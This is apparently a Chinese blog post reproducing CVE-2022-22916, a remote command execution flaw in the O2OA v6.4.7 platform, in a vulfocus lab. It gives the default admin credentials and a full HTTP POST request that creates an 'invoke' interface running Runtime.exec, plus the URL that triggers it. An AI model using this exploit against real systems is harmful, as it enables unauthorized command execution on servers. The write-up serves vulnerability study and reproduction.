O2OA RCE 远程命令执行漏洞复现(CVE-2022-22916)

1、产品简介

 O2OA是一款Java开源企业信息化建设平台 ,包括流程管理、门户管理、信息管理、数据管理和服务管理五大平台,可以极大程度上减化企业信息化建设成本和业务应用开发难度。

2、漏洞概述

   O2OA是一个基于 J2EE 分布式架构,集成移动办公、智能办公,支持私有化部署,自适应负载能力的,能够很大程度上节约企业软件开发成本,基于AGPL协议开放源代码的企业信息化系统需求定制开发平台解决方案。通过/x_program_center/jaxrs/invoke 发现 020A v6.4.7 包含一个远程代码执行(RCE)漏洞。

3、影响范围

     020A v6.4.7

4、复现环境

       vulfocus在线靶场环境

 5、利用流程

  1、使用默认口令xadmin/o2登录后台,利用某大佬写的POC进行复现

     项目地址:O2OA-POC/POC.md at main · wendell1224/O2OA-POC · GitHub

 注意事项:大佬的POC里面应该是打错了,多打了一个 " / " ,所以导致添加的接口无法调用指令,删掉即可。

   bp抓包收集 Authorization字段信息

添加一个接口

POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Host: [your target host]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Authorization: [your authorization]
Connection: close
Content-Type: application/json; charset=UTF-8
Content-Length: 475
 
{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n    var oneline = bufReader.readLine();\n    result.push(oneline);\n    if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}

在这里插入图片描述

创建成功后访问接口执行系统命令

/x_program_center/jaxrs/invoke/cmd/execute

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值